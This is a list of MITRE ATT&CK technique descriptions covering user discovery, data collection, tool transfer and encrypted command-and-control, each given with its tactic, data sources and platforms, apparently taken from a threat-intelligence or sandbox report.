Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre